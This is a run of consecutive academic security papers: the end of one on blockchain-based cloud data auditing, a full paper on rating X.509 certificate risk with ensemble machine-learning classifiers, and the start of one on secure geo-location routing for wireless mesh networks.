automatically incorporated. Moreover, the version and timestamp information
helps to prevent replay attack.

Since the block-chain of file tag information is a public ledger, multiple users
can simultaneously validate their data without any interference. Hence, we do
not need a separate algorithm for batch-auditing, it is implicitly supported in
our scheme. For traditional third-party auditing, verification of a file typically
means verification of some random file-blocks within the file. Now it may so
happen that the CSP alters some block that is not picked by random selection
for auditing. Then the data tampering cannot be detected. However, in our
scheme, the Merkle root contains the digest of the entire file. So even a single
bit change in any file-block is likely to generate significant difference between
the bit patterns of the resulting Merkle roots.

Note that in principle we are not restricted to keep an entire file in a sin-
gle block. In case the file size exceeds a threshold, we may divide the file into
multiple parts and store each part in a block of the block-chain. Any file can
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be dynamically updated, and so it may so happen that the number of parts
increase due to some update. Since information for the parts of the same file
need not necessarily be placed in consecutive nodes (blocks), to handle the case
of such large files, we may keep two pointers in every block. One pointer can be
the usual previous block hash pointer. Another pointer could point to the block
containing the next (or previous, depending on the convention) part of the same
file (which may occur after a separation of several parts of several files of several
users). In such a scenario, we may keep an additional record, namely, the total
number of parts, in the block containing the first part information of that file,
i.e., the block that is directly accessed from the file ID list.

4 Comparison with Existing Schemes

A comparative study of different auditing schemes in terms of their verification,
updating and communication phases overhead for a single file is presented in
Table 1 below.

In Table 1, N is considered as the whole number of file-blocks in a file2; v
is the number of the verified file-blocks when auditing a file; u is the number
of updated file-blocks; and m is the total number of files in the CSP; p is the
probability of the corrupted file-blocks; the probability of at least one of the
uncorrected file-blocks being picked by checking randomly sampled v blocks is
1 − (1 − p)v. In our scheme, communication involves sending information about
the leaf numbers and the siblings. Verification and update of each block needs
computation proportional to the height of the tree. Note that the block-chain
data structure is useful for cloud data auditing under the assumption that the
cloud would be used mainly for long-term storage and archival of files and update
operations would be rare. This is because updating any file-block propagate
changes in the block-chain from the current block containing the corresponding
file up to the last block in the chain.

Table 1. Performance comparison of auditing schemes for cloud storage

Scheme Communication

overhead

Computation costs Detection

probability

Verification Updating

CSP Auditor/User CSP TPA/User

PoRs [8] O(1) O(v) O(v) – – 1 − (1 − p)v

PDP [2] O(1) O(v) O(v) – – 1 − (1 − p)v

CPDP [20] O(v) O(v) O(v) – – 1 − (1 − p)v

DAP [18] O(v) O(v) O(v) O(u) O(mN) 1 − (1 − p)v

DPDP (MHT) [16] vO(logN) vO(logN) vO(logN) uO(logN) uO(logN) 1 − (1 − p)v

IHT-PA [19] O(v) O(v) O(v) O(u) O(mN) 1 − (1 − p)v

DHT-PA [14] O(v) O(v) O(v) O(u) O(u) 1 − (1 − p)v

Ours (BCDS) vO(logN) vO(logN) vO(logN) uO(logN) uO(logN) 1 − (1 − p)v

2 A file-block may be further divided into s smaller parts. In our scheme, s is taken to
be 1. Hence for fair comparison, we have taken s = 1 for the other schemes as well.
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Fig. 6. Comparison of storage costs of different schemes

In Fig. 6, we compare the meta-data storage costs per file for the schemes
cited in the above table. Note that the BLS signature width is 160 bits, the bit
length of each record in the DAP and IHT is 16 and that in the DHT is 12.
For our scheme, the length of different records are provided in Fig. 4. The graph
shows that our scheme has the highest storage cost for the CSP, but the Lower
(in fact, constant) storage cost in the block-chain.

Fig. 7. Experimental results of SHA256 hash computation
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We also experimentally compute the SHA256 computation time for different
input sizes from 1 KB to 1 MB through the “hashalot” package in Ubuntu 15.04
OS (64-bit) running on an Intel CoreTM i7-3770 CPU with a 3.4 GHz clock and
8 GB RAM. The plot of hash time in milliseconds against input size in bits is
shown in Fig. 7. We can see that the plot is almost linear with a strong linear
correlation of 0.9925 between the hash time and the input size.

5 Conclusion and Future Work

In this paper, we have presented a proposal to do away with the trusted third-
party based public auditing on cloud data. Like Bitcoins, our scheme relies on
block-chain data structure to store the authenticity information in the form of
a distributed public ledger. Anybody including the user himself can verify the
integrity of the user’s data on the cloud. This simplifies the cloud data auditing,
making it more transparent and light-weight, without compromising the security.

It is to be noted that the proposed scheme is suitable when the cloud is
used primarily for long-term data storage with rare updates. How to properly
handle the domino effect of change of hash-pointers in the block-chain in case of
frequent update operations is an interesting open problem which can be taken
up as potential future work.
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Abstract. X.509 certificates empower to reveal the unique identity of the
parties participating in the conversation. Right now, during online exchanges,
many people and groups are using X.509 certificates to represent their identity,
so the level of excellence and reliability of these certificates become dubious.
Hence, we introduced a framework which computes risk associated with X.509
certificates with the assistance of certain trust criteria and attributes. For
assessing risk related with certificate, we utilized Random Forest ensemble
machine learning algorithm, which categorizes risk in three levels- High,
Medium and Low. User needs to input the certificate and the system will predict
the risk associated with that certificate. If predicted risk is high or medium,
system will specify the parameter due to which it triggers risk. Our framework
can be applied in browser-server communication and identifying real-time
phishing websites which have Https URLs.

Keywords: X.509 trust model � X.509 certificate � Certification authority �
Chain of trust � Certification Practice Statement � Ensemble classifier

1 Introduction

X.509 certificate [10] is a digitally marked document that ties the value of a public key
to the identity of the individual, tool, or service that bears the corresponding private
key. One of the primary benefits of certificates is that, there is no longer a need to
maintain passwords for the subject who should be verified; rather, s(he) just holds the
trust in a certificate issuer.

Certificates can be used for:

1. Verification – to confirm the identity of a person.
2. Protection – assure that the information is only available to the desired group.
3. Encryption – send data in such form which can be understood by legitimate one.
4. Digital signatures – verify that message is alter or not.

These are essential for the security of sources. Similarly, number of applications
use certificates, for example, email and web applications.
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The Certificate has an owner and many consumers. The consumers benefit from our
system. Administrators also benefits from our system as they can find out which
certificates in their network are risky.

Right now, there is a well-known approach for managing trust in Certification
Authorities (CAs) that comprises of a list of trusted CAs in web browsers. This
directory of root CAs differs from program to program and from OS to OS. Browsers
confirm the trust of leaf certificate according to its CA, but consider the possibility that
CA in the trust store can no longer be trusted and unaware of that browser still using
this CA as a trusted authority for certificate verification. In such scenario our system
helps by finding trust/risk of certificates because it’s not fully dependent on its CA. To
support this possibility, recently, Google introduced an article- “Google calls out
certificate authorities that can no longer be trusted” [9]. The article discusses about
Google’s Submariner which fills the gaps of listing certificate authorities that were once
trusted, by withdrawing it from Google’s root program and including new certificate
authorities that are in the pipeline but not yet added to the trusted list of root store.

In previous research, authors used classification on certificates data, but for different
purposes. None of them used classification for evaluating trust or risk associated with
certificate; this motivates us to build a system which can become an application of
machine learning.

In this paper, we have introduced a framework which evaluates risk associated with
the certificate. System first collects both trusted and untrusted certificates and store it in
the trust store. For each certificate from the trust, system gets the actionable fields and
stores it in vector. Using this vector, system generates a dataset in CSV format. It feeds
this CSV file to three ensemble classifiers to train and test on it. Then system gets the
accurate classifier according to performance measure and use that trained model to get
result of new certificate in three categories of risk.

In our framework, we are using machine learning algorithm, because, gradually
with time, if value of some attributes for risk criteria changes, system just have to
modify the dataset. Machine learning model needs time for training purpose, once
trained; we can predict thousands of certificates in very less time with reasonable
accuracy. From machine learning algorithms, we choose to use ensemble machine
learning classifiers over base classifiers, because ensemble algorithms use more than on
classifier to predict the result so, they can give better predictions i.e. more accuracy
than single classifier. Another reason is that ensemble classifiers give more stable
model as compared to single or base classifiers.

1.1 X.509 PKI Certificate

In X.509 Public Key Infrastructure (PKI), CA provides a certificate; this certificate is
used as recognizable proof of its subject. CA is a trusted interface between two cor-
respondence parties, which plays the role of issuing certificate by affirming both the
parties incorporated into the communication. Generally, the CA issues a certificate to
the subject according to its own rule archives, like the Certificate Policy (CP) and
Certification Practice Statement (CPS) [10]. CPS is one of the essential documents to
quantify the trust level of a certificate.
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1.2 X.509 Trust Model

The X.509 trust model [20] consists of three entities: certification authority (CA),
certificate holder (CH) and relying party (RP). The CA is a reliable interface between
the CH and RP. CAs primary role is to issue a certificate by affirming both the parties
incorporated into the communication. If the CH needs to communicate with RP, CH
should provide the confirmation of its identity, so CH asks CA for the certificate. CA
issues a certificate by checking the information of CH and by analyzing various doc-
uments, like, CP and CPS.

This strategy would be effective, if there is only one CA present or if RPs had a past
association with the CA, as appeared in Fig. 1. But currently, situation is not quite the
same as past one. These days, there are many CAs established so RPs have no asso-
ciation with any CAs at all, as shown in Fig. 2.

Therefore, RP needs to fabricate its trust criteria by executing a couple of checks:
the signature on the certificate must be confirmed, path from the leaf to root certificate
must be found and surveyed, and the extension fields must be verified, and so on.
Another essential thing that RP needs to examine is a set of archives like CP, CPS.

Fig. 1. Previous scenario of x.509 certificate trust model.

Fig. 2. Current scenario of x.509 certificate trust model
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To help RP, we propose a framework which automates all the tasks of RP, dis-
covers the risk level of certificates and passes to the RP. In our system, user is the RP,
server is the CH and system plays intermediate role between them.

Overall, the paper is organized into six sections. Section 1 gives a brief Intro-
duction of x.509 certificates, problem statement and some primary fundamentals of
x.509 certificate. Section 2 gives Extensive Literature Review of previous work.
Section 3, emphasize on Problem definition, proposed approach of the work and fea-
tures used for computing risk factor. Section 4, describes how we implement modules
of our system. Section 5, reports the results analysis related to the performance of three
classifiers. Section 6, provides the conclusion and future work.

2 Literature Review

We did Literature Review in four areas. First, we studied previous work done related to
the current trust evaluation systems. Secondly we reviewed the way other authors used
for certificate collection. Then, we studied previous paper on CPS parsing. Final
research area is the use of machine learning techniques on certificates data. These areas
are described as follows:

2.1 Review of Current Systems

Wazan A. S. et al. [20], built a role of an explicit master recommender whose job is to
pass the fundamental details to RPs by letting them to settle on an informed choice
around a CA. Now, the RP determines whether to accept a certificate or not for a
specific transaction. Due to the explicit role of master recommender added in X.509
trust model, RPs has to depend just on the master, not on each and every CA of
certificate holders.

Gap Identification: The recommender recommends trust of certificate based on its CA
information. Our system finds trust of certificate based on its own attributes.

In paper [18, 21], Wazan, described a model which gives the subjective data of the
RPs to decide the Quality of Certificate (noted QoCER). Author describes a procedure
to find QoCER. First, the model performs search for the input certificate’s root CA, in
their trust store consisting of entirely known and controlled CAs. If the certificate is
found in trust store, the model accepts it. This enhances the performance when dealing
with well-known parties. Otherwise, the RP finds the QoCER that comprises of:
(a) Fetching the QoCPS from an authority which is famous for this task; (b) Fetching
the QoPKI of the CAs that assigns this certificate from an authority which is renowned
to do this task; (c) Calculating the QoCER as per the particular function u;

Gap Identification: Model needs more computation to discover trust of certificate
when dealing with unknown parties. Where as in our system, we are using machine
learning, once model gets trained, system requires less computing time.

Ahmed et al. [1], describe flow of their framework as follows: when the customer
needs to verify a certificate, it first checks in its own repository consisting of trusted and
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untrusted certificates. If the certificate is available in the trusted store, it is accepted.
Otherwise, system searches in untrusted store. However, if the status of the certificate
can’t be verified from the repository, framework performs additional steps to confirm
the trust level of a certificate. These steps are- (1) Verify if the key utilization field
matches with the usage requirements of the client application. (2) Check amount of
data accessible in the certificate’s distinguished name (DN) field. (3) Check the
accessibility of the CPS link field. (4) Framework makes use of the semi-formalization
method on the CPS to assess the reliability of a CA. Authors give rating by assessing
all the above steps.

Gap Identification: 1. Get the certificate’s trustworthiness based on less attributes. 2.
User can physically add obscure or unknown certificates to the repository, which is
used for calculating trust.

In our system, we are using 25–28 fields to assess the trust. System doesn’t have
any repository.

2.2 Different Ways of Certificate Collection- Review

There are some papers which use certificates as a dataset for their system, so we
reviewed which software they used for certificate collection and did brief review of
such papers as described follows:

Mishari Almishari et al. [15], collects three types of domain sets: Popular, Random
and Malicious (Phishing and Typosquatting). Authors get certificates of popular
domain from Alexa site, Random domains from the .com/.net Internet Zone File and
Phishing certificates for Malicious domain get collected from Phishtank.com website.

In paper [3], the authors utilized ZMap to analyze the internet and attempt an SSL
association with each host listening on port 443. If the connection was successful, the
certificate presented by the server was saved along with the IP of the host. Authors have
collected certificates according to versions. They found version1 to version4 certificates
in their corpus.

Zheng Dong et al. [23], utilizes PlanetLab for certificate gathering from three land-
masses. Authors’ script downloads a list of the top 1 million websites from Alexa.com
as non-phished certificates. For phished certificates gathering they apply their script on
the sites available on PhishTank.com. They connected to targeted website via TCP
port 443.

2.3 Review of Machine Learning Algorithms and Certificates Features
Used

Mishari Almishari, et al. [15], have used classification technique in their system to
identify Web-Fraud. They first gather the certificates from different domains then
choose some parameters which differentiate between certificates used by fraudulent and
legitimate domains. Then combine all the parameters and pass them to a set of machine
learning classifiers. System uses following certificates feature to identify web-fraud:
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Md5, bogus subject, self-signed, issuer common, issuer organization string, issuer
country, validity duration.

Zheng Dong, et al. [23], framework, first download certificate from given site, once
downloaded, a set of X.509 certificate fields are extracted. The extracted fields are then
spared in an ARFF format and passed for classification. Author used six classification
algorithms. They classify there label into phishing and non-phishing. Framework uses
Validity, Issuer, Subject and Domain Name fields of certificates.

Here, Mishari and Dong both the authors use classification on certificates data but
for different purpose. Mishari, et al. [15], identifies web-fraud using certificates, they
are not categorizing risk of the certificates itself as we do in our system.

3 Problem Definition and Proposed Approach

In this section we will see the construction of our problem statement and system
architecture.

3.1 Problem Definition

Stage I: Classify the certificate risk in three levels- High, Low, Medium by considering
different trust criteria and attributes of X.509 certificate using machine learning
approach.
Stage II: Implement proposed system as a plug-in for browser, henceforth when cer-
tificate is obscure/new for browser; our plug-in traces it and discovers risk level
associated with certificate. Plug-in shows the risk level and cause of the risk on screen,
so user can decide whether to proceed with the transaction or not, rather than blindly
going for ‘Proceed Anyway’ option.

3.2 Proposed Approach

In this paper, we elaborate the Stage-I. It is consists of six modules: Certificate Col-
lection, Feature Vector Creation, Dataset Generation, Classification Techniques, Select
Accurate Classifier, and Predict Risk Level. The structure and modules of system are
shown in the Fig. 3.

Description of modules:

Module 1- Certificate Collection: It uses two tools- Wire shark and Network Miner to
collect server certificates. We collect trusted, untrusted self-signed certificates. We use
Alexa.com sites legitimate and popular URLs to get trusted certificates, Then from
Phishtank.com, phished URLs to get untrusted certificates. We get some self-signed
certificates from these. We use Java Key-tool to generate self-signed certificates.

Module 2- Feature Vector Creation: This module gets the fields of the collected
unique certificates in the light of certain actionable features, considered in risk assess-
ment of certificates, as given in Sect. 5. Module uses, security.cert.X509Certificate
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Library of java to get the fields of certificates and save it in vector. This vector then
forwards it to the next module

Module 3- Dataset Generation: This module is used to change the data type of fields
from feature vector into the Boolean data type. Feature vector contains CRL field
whose value is URL. In dataset generation, CRL list is downloaded from URL and then
check weather a Serial No is available in CRL list or not. i.e. processed it into Boolean
values. Like this there is a CPS weight variable in our features, dataset generation
program, calculate this weight in double value by applying parsing algorithm. The
dataset generation program, also calculates the values for features which is a function
of two or more fields from the vector. The comparison of key size and public key
algorithm is an example. There are other internal evaluations, such as comparisons of
dates. The values of all the resulting features are stored in a comma-separated values
(CSV) file. This CSV file is forwarded to the ensemble classifiers.

Module 4- Classification Techniques: In our system we are using R Programming
[16] tool for classification, so we need a dataset in CSV format as given by above
module. This phase comprises of three machine learning ensemble classifiers- Random
Forest [14], Bagging [14], Boosting [11]. This module applies these classifiers on the
CSV file using R programming tool. All the three classifiers are trained and tested on
the same dataset with same samples of training and testing record size. The classifi-
cation results like accuracy, true positive rate or recall, false positive rate, precision or
positive predictive value, negative predictive value, f-score of each classifier is stored
in file to support final decision making.

Fig. 3. System architecture
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Module 5- Select Accurate Classifier: This module calculates the more accurate
model on the basis of classification results. For selecting accurate classifier, we are
using the accuracy, precision and recall as the performance measures parameters.

Module 6- Predict Risk Level: This module uses accurate classifiers trained model to
predict the risk level of new certificate.

3.3 Feature Selection

In X.509 Public Key Infrastructure (PKI), we used following features for our risk
calculation. Assumption: risk and trust are opposite terms, if trust is 1 out of 10 then
risk will be 9 out of 10.

(1) IsCertInValidPeriod: Here, we are checking certificate is in valid period or not.
For this we are comparing certificates last date and present date. If present date is
greater than last date of certificate, it means that certificate is expired; so we add
such certificates in high risk category. If certificate is not expired, we perform
next check on it.

(2) NoOfValidDaysRemain: This field checks no of valid days of certificate. If less
than 30 days and greater than 10 years it leads towards risky category.

(3) isSNInCRL: Here, we are checking whether a serial no. is in CRL list or not.
Certificate Revocation List(CRL) [10] provide a list of serial numbers, that have
been repudiated by certification authority for many causes like Superseded,
Cessation of Operation, Affiliation changed. Certificate contains CRL Distri-
bution Point field with URL as a value. We go on this URL and download CRL
and then check whether a serial number of certificate is recorded in it, if yes then
that certificate straightforwardly regarded as high risky. If not, then it is treated
as one of the trust criteria.

(4) isDNAndSNIsSame: Domain name and subject name are supposed to be same,
for gaining trust [3].

(5) isCertSelfSigned: If issuer and subject is same then such certificate considered as
self signed certificate.

(6) isCPSLinkAvailable: Certificate Authority, assigns a certificate to the subject
according to its Certificate Practice Statement (CPS) [7] document. CPS depicts
Certificate Authorities, practice for assigning and managing certificates. Avail-
ability of CPS link in its extension field, contributes to less risk.

(7) isCPSdocPresentOnCPSLink: In this check we are confirming that CPS docu-
ment is present on CPS link or not. Initially, we click on CPS link which leads us
to website page. This page provides CPS archive. Size of this archive depend on
CA. Availability of cps archive on CPS link will add positive contribution in less
risk.

(8) CPS weight: Here we are calculating CPS weight by parsing CPS archive in the
light of 12–15 from the 27 properties portrayed by authors Omar Batarfi,
Lindsay Marshall in their paper [4]. We choose these 12–15 attributes by reading
popular CAs CPS document. To calculate CPS weight we consider these attri-
butes as a subject and their tasks as verbs. Parse these subject + verbs in the
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body part of document, if found add 0.25 in totalweight and increase the
totalsentences counter. Finally complete cpsweight = totalweight/totalsentences.
We consider cpsweight as one parameter in our evaluation. More CPS weight
will add positivity in less risk.

(9) Large public key size prompts commitment in less risk. Here, we are deciding
this large key size according to its public key algorithm.

(10) Signature algorithm used to sign the certificate should be strong. It prompts
positive commitment in less risk [15].

(11) Certificate should be in its legitimate period. At least a year, not more than
decade [3].

(12) Subject and issuer name shouldn’t be some state, some association. It should
have substantial names.

(13) DNContainsInfo: In this field we are checking Distinguished name (DN) con-
tains a sufficient information or not. If contains less information, it leads to high
risk [3].

Hence we are checking 13 fields and 12–15 sub-fields i.e. total 25–28 checks or
criteria of a leaf certificate for assessing the risk.

4 Implementation Details

The following section presents the description of how implement each module in detail.

4.1 Certificates Collection

We copy Alexa’s https URLs and phishtank.com https URLs in browser and in
background run the wire-shark tool, which capture all the certificates packets on the
interface by applying ‘ssl.handshake.certificate’ as a filter. It generates PCAP file. We
feed this PCAP file to Network Miner tool as a input, it extracts the all the certificates
from chain, (i.e. root CA, intermediate CA, leaf certificate.) of each packet and saves it
in different folders in .cer format. We combine all the certificates from different folders
into one folder to remove the duplicates. Then using programming we filter the leaf
certificates according to the CA bit parameter of basic constraint, which is present in
the extension field of certificate. If CA bit = 0 then certificate is leaf a certificate. Like
this we store unique leaf certificates into one folder and call this as our certificate store,
as shown in Fig. 4.

We minimize our search by nation India and by category Business and then try out
top 900 URLs. Using Wire shark and network miner we collected around 2100–2500
certificates, out of which almost 1080 leaf certificates are distinct.

We perform same procedure for the Https URLs from phishtank.com and get 500
certificates out of which 260 are distinct. When we gather both the trusted and
untrusted certificates we get 1340 as unique certificate which we are using in further
processing.
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4.2 Machine Learning Algorithms

R programming [16] provides the facility to use in-built functions by installing
packages and then loading it in your system. We load “RandomForest” package [12] to
use RF algorithm, “adabag” package [6] for Bagging and “gbm” package [22] for
Boosting. All these packages are a part of the R tool.

Our dataset is consisting of 1340 certificates, with 222 records of rejected certifi-
cates i.e. High Risky, 629 records of Strong Certificates i.e. Low Risky and remaining
489 records of weak certificates i.e. Medium Risky. From these 1340 records we
choose random samples with replacement by using sample() function for training data
as 66% of total data i.e. 884 records and remaining we used as a test data. We set seed
for each classifier to get the same results every time when run the model.

On the above scenario we run all the three models, train and test them. We first train
RF, on the training dataset with the attributes, number of attributes per level “mtry” as 4
and number of trees as “ntree” as 100. Then we plot this RF trained model we get graph
of number of tress vs. error rate for each class label and OOB error estimation.

In Fig. 5, dotted line with black color shows OOB error rate. This decreases as
number of trees increases and become constant after 65 trees. Dotted line with green

Fig. 4. Certificate collection procedure
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and red shows class of (Reject) High Risk and (Strong) Low Risk. Both of these lines
are overlapped on constant zero. It indicate that no error for these class. The dotted line
in blue indicates the Medium Risk (Weak) class. Graph indicates it has more error rate
than other two classes. From the graph we can say that RF increases performance as no
of tress increases.

When we apply this training model on test data with 67 records of Rejected, 216 of
Strong and 173 of Weak, in total containing 456 records we get following graph.

Graph in Fig. 6, indicates that training model predict reject and strong records
correctly but in case of weak class it predict 170 records out of 173 as weak which is
correctly classified and 3 records as strong which is incorrectly classified.

Fig. 5. Random forest – each class error rate (Color figure online)

Fig. 6. Random forest – prediction of each class
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RF can also plot the variable importance graph as shown in Fig. 7.
In bagging we use the same training and testing data with mfinal value as 10. We

get trained model, which then applied on test data with same mfinal value and get
prediction results. We find the error value of both training and testing model and result
is available in following Fig. 8.

From above graph, we can say that get more error during prediction than training.
In boosting we use distribution as “multinomial”, number of trees = 100 and cv.-

folds = 2 on the same training data. Then we use this trained model to predict test data.
The prediction we get is in the following format (Fig. 9).

Fig. 7. Random forest – variable importance

Fig. 8. Bagging – train and test error value.
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4.3 Performance Evaluation Parameters

As shown above, precision and recall are two main parameters used to evaluate the
classification performance [23]. Precision is the percentage of records classified into a
category that have been correctly classified. The formula is:

Precision ¼ TP=TP þ FP

In contrast recall measures how many records have been missed, rather than how
many have been incorrectly added, for a given category. The formula is:

Recall ¼ TP=TP þ FN

An ideal classifier can achieve the highest True Positive Rate (TPR) with a small
and False Positive Rate (FPR), indicating high correct classification rates with low false
alarm rates [23]. The formula TPR and FPR is:

TPR ¼ TP=TP þ FN and

FPR ¼ FP=FP þ TN

On the basis of this, we will see the results of each classifier. We choose accurate
classifier based on above evaluation parameters in below section.

5 Results Analysis

Table 1, demonstrates the overall classification performance of different ensemble
machine learning algorithm. Here, we calculate True positive rate (TPR) or Sensitivity
or Recall, True negative rate (TNR), Specificity (SPC), precision or positive predictive
value (PPV), negative predictive value (NPV), fall-out or false positive rate (FPR), miss
rate or false negative rate (FNR), accuracy (ACC), F1 score of Random Forest, Bagging,
Boosting using “randomForest”, “adabag”, “gbm” package of R programming
respectively.

Fig. 9. Boosting with gbm package – prediction of test data

384 V. Hawanna et al.



As described in Table 1, RF gives 99.34% accuracy, Bagging gives 98.7% accu-
racy and Boosting gives 93.20% accuracy. To get detail look of accuracy, We have plot
it for each category of Random Forest, bagging and boosting as shown in Figs. 10, 11,
12 respectively.

Table 1. Overall performance of classifiers

Algorithm (Package Used
in R)

Random Forest-
(randomForest)

Bagging-
(adabag)

Boosting-
(gbm)

Recall/TPR 0.994 0.986 0.866
TNR 0.995 0.990 0.961
Precision/PPV 0.995 0.989 0.947
NPV 0.996 0.991 0.971
FPR 0.0041 0.029 0.039
FNR 0.005 0.040 0.132
ACC in % 99.34 98.46 93.201
F-SCORE 0.994 0.987 0.904

Fig. 10. Accuracies of Random Forest for each category.

Fig. 11. Accuracies of Bagging for each category.

Risk Evaluation of X.509 Certificates 385



Figure 13 shows comparison of classifiers accuracy for individual class level. In
our case we have weak, strong and rejected are the class levels and RF, bagging,
boosting are the classifiers.

The first row from Table 1 is, True Positive Rate or Recall, indicate that no of
positive records that are correctly identified. In our case, RF has more correctly
identified positive records than bagging and boosting as we have 99.4% recall of RF,
98.6% recall of Bagging and 86.6% recall of Boosting. We compare it for all classifiers
used in system as shown in Fig. 14.

The second row from Table 1 is true negative rate (TNR), indicates that no of
negative records that are correctly identified. Here RF has more TNR but there is not
much difference between RF and bagging. We can say that both RF and bagging
achieve more TNR than boosting.

In Table 1, the third row describes about positive precision or positive predictive
value (PPV) which indicates that the no of positive results record that are true positive.

Fig. 12. Accuracies of Boosting for each category.

Fig. 13. Accuracy comparison.
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Row shows 99.5% precision of RF, 98.9% precision of Bagging and 94.7% precision
of Boosting. The precision comparison of all classifiers used in system is shown in
Fig. 15.

The fourth row, from table is negative precision or negative predictive value
(NPV) which indicates that the no of negative results record that are true negative. It
should be more. And RF gets more PPV than bagging and boosting but for NPV not
much difference between RF and bagging. We can say that both RF and bagging have
more NPV than boosting. For the accurate classifier false positive rate (FPR) and false
negative rate (FNR) should be less. In our case, RF achieves low FPR and FNR than
bagging and boosting.

With all the above analysis of graphs and table, we can choose RF as a more
accurate classifier because it has more accuracy, precision and recall values than
bagging and boosting. Thus we can use this model for the prediction of new certificate
provided by the user.

Fig. 15. Precision comparison.

Fig. 14. Recall comparison.
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6 Conclusion and Future Work

In this research work, we have classified the risk level of leaf certificates using its own
features. We have shown that, it is feasible to use machine learning approach to classify
certificates into High, Low, and Medium risk categories with reasonable accuracy. We
have used set of machine learning ensemble classifiers namely Random Forest (RF),
Bagging and Boosting to train and test on certificate data. Among these classifiers we
have found that Random Forest is more accurate classifier on the basis of precision,
recall and accuracy measures. We have used RF’s trained model to predict risk of new
certificate.

In current work, we have built a standalone application of risk assessment system.
In future this system can be written as a plug-in for browser. Our system can also be
extended further by adding different features of legitimate website for detecting
real-time phishing attacks on both Http and Https based websites. One can enhance this
framework further, by adding more intelligence in it.

Our system can be used by Security officers or Network administrators to analyze
risk in their network. It can also be used by user to know the risk level of particular site.
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Abstract. Wireless Mesh Network is an emerging technology with great
potential for evolving into a self-sustained network. The traditional networks,
which dominate the present day communication systems, rely on large and
expensive setups of wired/wireless access points for connection between users.
Unlike the traditional networks, a Wireless Mesh Network is formed by the user
devices which connect to each other to form a network. The security of such
networks is however very low as each data packet passes through multiple
devices making it susceptible to vulnerabilities. This paper discusses a new
network model that implements a strong security framework over a new routing
technique. The new network model, unlike any other, features a new addressing
scheme that is no longer limited by the drawbacks of the legacy systems and can
hence implement better security measures.

Keywords: Wireless Mesh Network � Geo-Location Oriented Routing � Secure
wireless mesh network � Peer to peer encryption

1 Introduction

Mesh network is known for their reliability as they are formed by several connected
devices (nodes) through which messages are relayed using either a flooding technique
or a unicast/multicast technique. This is achieved by hopping the message from one
node to another until it reaches the destination. The mesh network also has self-healing
ability allowing a routing based network to operate when a node breaks down or when
a connection becomes unreliable. This is done by automatically creating a new path
using nearby nodes.

Wireless mesh networks have been around for a while and have been used to build
distributed networks, connect satellites for satellite calling and even for data collection
from electricity meters. The mesh network topology has been under examination and
experimentation to create a network model that is self-sustained, secure, scalable and
dynamic. In the past few years, researchers had realized that the mesh networks hold
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the potential of becoming the network of the future, however only a few attempts have
been made to achieve it.

The current versions/implementations face various challenges, a major one being the
security implemented in the network [15]. As each data packet travels through multiple
devices/nodes, there are various weak links where data can be accessed by third parties.
Another such issue arises during authentication; in a large network without a central
control node, it’s almost impossible to know if a device is impersonating another.

In pursuit of overcoming such limitations, a new network model has been devel-
oped. However, the new network model has several features that could not be achieved
using current routing protocols. Hence the Geo Location Oriented Routing (GLOR)
protocol, put forward in this article, is developed as a secure, smart and dynamic
solution for the new mesh network model. As devices become smarter and possess
higher hardware configurations, GLOR protocol incorporates various new features and
a totally remodeled approach towards security, authentication, packet routing, network
formation and addressing scheme.

The paper introduces the new network model, which also includes the routing
technique and the security implementation. Section 2 presents related works, routing
models and current protocols. Section 3 gives an overview of the network model which
is further divided into 3 sub-sections which together define the working model of our
proposed scheme. Section 3.1 presents the security measures that have been incorpo-
rated in the network model to ensure secure communication between the devices.
Section 3.2 discusses the new addressing scheme and how it is better than the currently
used IP addressing. Section 3.3 describes the routing technique including the device
registration, processing and forwarding of a message. Section 4 presents the prototype
for the proposed scheme. Finally, we conclude the paper in Sect. 5 along with future
directions.

2 Related Works

There has been various proposed models and approaches to achieve a dynamic and
self-sustained wireless network, however only a few were ever implemented. Some of
the implementations that provided valuable information is discussed below.

The Smart Phone Ad hoc Networks (SPAN) project [1, 2] showcased the first
practical implementation of an off-grid network. The routing technique used to
implement the network was OLSR (Optimized Link State Routing) which was modi-
fied to support the standalone network. The approach showed promising capabilities for
off-grid communication using the mesh network but also revealed various issues.
During the testing phase it highlighted a big flaw in the OLSR routing due to which the
network self-saturated with excessive ‘hello’ packets. Although the project had no
current security implementation, it did discuss the use of public-private key for
encrypted communication between devices. However, in order to achieve it the device
needed to exchange the keys manually between each other which was a risk.

A similar approach known as the Several Project [3] was founded in response to the
Haiti Earthquake. This project allowed live voice calls whenever the mesh is able to
find a route between the participants. It aimed to provide support during disaster relief
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and recovery operations. A demo of this concept was conducted in an environment
which was designed to simulate an after earthquake scenario. Various mobile devices
were randomly placed around the complex and a demo rescue mission was showcased.
The network was successfully formed by the devices, the trapped victim was able to
easily contact the rescue personal and the victim’s location was also triangulated using
the network.

However, this project follows Rhizome system (Delay Tolerant Networking),
according to which data does not have to travel from its origin to its destination
instantly; once a device has received data, it may store it and pass it on at another time
and place when a connection is available. Also like SPAN, the application used to
implement this approach only support a limited type of devices. It did not implement
any strong security measure as it was aimed towards disaster relief. In addition, the
approach included an external hardware called the “Mesh Extender” used to extend the
range of the network. This made the network dependent on the hardware and hence less
reliable.

Open Garden’s FireChat [4] is another such implementation. Its mobile application
received over 5 million downloads and became popular during protests when the
internet access was disabled. This scheme implements broadcast routing and features
various types of modes which enable one to choose the proximity, range and number of
devices they wish to communicate with. Despite the popularity, the methodology lacks
security as each message is sent to every device on the network, similar to the concept
of a chat room.

The BRIAR Project [5] is another open source software for mesh networking
technology, designed to provide secure and resilient peer to peer communications with
no centralized servers and minimal reliance on external infrastructure. However, the
approach once again follows Delay Tolerant Network and in order to implement high
levels of security, the devices don’t communicate directly unless their owners are
common contacts. In other words, device ‘A’ can communicate with a device ‘C’
through another device ‘B’ only if the device ‘A’ and device ‘C’ exist as contacts on
device ‘B’. This makes it difficult for the network to expand or improve functionality.

2.1 Routing Models

All the above network implementations are based on two major transmission tech-
niques, namely Flooding/Broadcasting and Unicast/Multicast.

Flooding/Broadcast Technique: In the flooding/broadcast technique, each node in
the network retransmits the received packet to all connected nodes thereby flooding the
network until the packet finally reaches the destination node. This particular method
was implemented by Open Garden [4] in their mobile application ‘FireChat’. This
approach is applicable to a large network but it increases the load on each node as with
the increase in the number of nodes, and with each node retransmitting every packet,
the traffic on the network increases rapidly. This results in usage of more resources and
in some scenarios it could even lead a device to crash. In addition, the communication
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in the network is open and each packet of data is received and read by every other node
in the network thereby compromising the privacy.

Unicast/Multicast Technique: The Unicast/Multicast technique is about implement-
ing a pre-defined path through which a packet is sent. It supports a limited number of
static devices/nodes. Each node broadcasts a “HELLO” message and stores the location
of every other node on the network for calculating a route when a packet is to be
